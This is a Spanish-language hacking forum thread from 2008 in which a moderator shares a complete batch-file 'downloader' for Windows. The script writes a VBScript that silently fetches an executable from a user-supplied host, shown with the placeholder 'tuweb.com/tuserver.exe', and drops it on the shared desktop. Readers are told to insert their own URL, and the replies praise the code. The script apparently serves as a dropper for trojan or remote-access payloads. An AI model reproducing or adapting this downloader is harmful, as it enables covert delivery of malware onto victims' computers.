´╗┐ Downloader batch - Hacketico En Accion

AutorTema: Downloader batch  (Le├şdo 804 veces)

Peperompe

  • Moderador Global
  • User Gur├║

  • Desconectado
  • ****
  • Culturahack

  • 6726
  • Karma:
    +65/-3
  • Sexo
    Masculino

    Masculino
  • Texto personal
    El conocimiento es poder
Downloader batch
« : 23 de junio de 2008, 02:39:16 am »
Les dejo un Downloader ,solo deben cambiar esto "Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa" por la ruta correspondiente  ok


C├│digo: Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa
@echo off
set file="http://tuweb.com/tuserver.exe"
set dlto="C:\Documents and Settings\All Users\Escritorio"
::----------------

if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs

echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs

start %temp%\dl.vbs

Autor:ZeroP
« ├Ültima Modificaci├│n: 23 de junio de 2008, 03:24:10 am por Peperompe »


Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa
SI YO COMPARTO MI DINERO CONTIGO, QUEDA LA MITAD, SI YO COMPARTO EL CONOCIMIENTO, QUEDA EL DOBLE.
EL CONOCIMIENTO ES PARTE DE LA HUMANIDAD

[SMT]

  • Novato

  • Desconectado
  • *
  • Phoenix Lab's

  • 19
  • Karma:
    +0/-0
Re: Downloader batch
« Respuesta #1 : 23 de junio de 2008, 02:41:04 am »
jaja muy bueno... aunque es metodo no se lo habia visto posteado en otro foro creo que por madantrax!:S osea no el code sino el metodo?
Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa

Peperompe

  • Moderador Global
  • User Gur├║

  • Desconectado
  • ****
  • Culturahack

  • 6726
  • Karma:
    +65/-3
  • Sexo
    Masculino

    Masculino
  • Texto personal
    El conocimiento es poder
Re: Downloader batch
« Respuesta #2 : 23 de junio de 2008, 03:23:45 am »
El autor es ZeroP  foro ruso ,e leido varios post de madantrax el autor de los soft Cactus pero nunca sobre este Downloader .
Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa
SI YO COMPARTO MI DINERO CONTIGO, QUEDA LA MITAD, SI YO COMPARTO EL CONOCIMIENTO, QUEDA EL DOBLE.
EL CONOCIMIENTO ES PARTE DE LA HUMANIDAD

BullEye

  • Novato

  • Desconectado
  • *

  • 6
  • Karma:
    +0/-0
Re: Downloader batch
« Respuesta #3 : 03 de abril de 2010, 06:07:27 pm »
me podrian explicar para q sirve este codigo?? desde ya muchas gracias

flameb.vivela

  • Novato

  • Desconectado
  • *

  • 14
  • Karma:
    +0/-0
Re: Downloader batch
« Respuesta #4 : 28 de julio de 2010, 04:06:49 pm »
Ush me gusto arto ese codigo me parece chevere...... Muy buen code

Tags:
 
Compartir este Tema...
En un Foro
(BBCode)
En un Sitio Web/Blog/Twitter/Facebook
(HTML)





Powered By Satel Group® Web Hosting Diseño Publicidad y Servicio Tecnico